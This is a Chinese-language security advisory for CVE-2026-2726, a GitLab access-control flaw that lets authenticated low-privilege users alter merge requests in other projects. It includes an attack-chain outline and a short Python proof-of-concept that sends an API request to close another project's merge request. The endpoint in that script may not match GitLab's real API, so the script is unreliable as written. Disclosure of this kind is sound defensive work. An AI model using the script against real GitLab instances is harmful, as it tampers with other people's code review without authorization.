IPBUF安全漏洞报告
English
CVE-2026-2726 CVSS 4.3 中危

CVE-2026-2726 GitLab跨仓库操作权限绕过漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-2726
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

权限绕过访问控制失效GitLabCVE-2026-2726跨仓库操作

漏洞概述

GitLab CE/EE 存在一处访问控制失效漏洞,该漏洞广泛影响从 11.10 版本开始直至 18.10.1 之前的多个版本。由于系统在处理跨仓库操作时未能正确实施访问控制机制,经过身份验证的攻击者可以利用此缺陷对其他项目中的合并请求执行未经授权的操作。尽管该漏洞对机密性和可用性无直接影响,但会对数据的完整性造成低程度的风险,建议管理员尽快升级。

技术细节

该漏洞的根源在于 GitLab 处理跨项目引用和合并请求交互时的逻辑缺陷。在涉及跨仓库操作的特定场景下(例如在源项目中引用或操作目标项目的合并请求),系统仅验证了用户当前的身份认证状态,而未充分验证用户对目标项目资源的具体访问权限。攻击者可以利用此漏洞,构造特殊的请求参数或利用 API 端点,触发跨仓库操作流程。由于权限检查机制的缺失,攻击者能够绕过常规的项目成员权限校验,从而对受保护的合并请求执行篡改、关闭或其他修改操作。这破坏了系统的隔离性原则,使得低权限用户能够影响高权限或独立项目的代码审查流程。

攻击链分析

STEP 1
侦察
攻击者确定目标 GitLab 实例及想要操作的其他项目中的合并请求 ID。
STEP 2
认证
攻击者使用自己的低权限账户登录 GitLab,获取有效的 Session 或 API Token。
STEP 3
漏洞利用
攻击者构造针对目标项目合并请求的 API 请求或 Web 请求,利用跨仓库操作逻辑,尝试执行未经授权的操作(如关闭 MR)。
STEP 4
影响达成
由于系统未正确校验跨项目的访问权限,攻击者成功修改了目标项目的合并请求状态,造成完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-2726 PoC Concept # This script demonstrates how an authenticated user might attempt unauthorized actions on a merge request in another project. # Note: This is for educational purposes and testing against authorized systems only. TARGET_URL = "https://gitlab.example.com/api/v4/projects" PRIVATE_TOKEN = "your_access_token" TARGET_PROJECT_ID = "123" # The target project ID the user does not have access to MR_IID = "1" # The Merge Request IID ACTION = "close" # The unauthorized action to perform headers = { "PRIVATE-TOKEN": PRIVATE_TOKEN, "Content-Type": "application/json" } # Attempting to perform an action on a cross-project MR # The vulnerability arises if the server fails to check access rights on TARGET_PROJECT_ID url = f"{TARGET_URL}/{TARGET_PROJECT_ID}/merge_requests/{MR_IID}/{ACTION}" response = requests.put(url, headers=headers) if response.status_code == 200: print(f"[+] Potential Vulnerability Confirmed: Action '{ACTION}' executed successfully.") print(f"[+] Response: {response.json()}") else: print(f"[-] Action failed or forbidden. Status Code: {response.status_code}") print(f"[-] Response: {response.text}")

影响范围

GitLab CE/EE >= 11.10 < 18.8.7
GitLab CE/EE >= 18.9 < 18.9.3
GitLab CE/EE >= 18.10 < 18.10.1

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时限制外部用户对项目的访问权限,并密切监控代码仓库中合并请求的异常变更,特别是涉及跨项目引用的操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表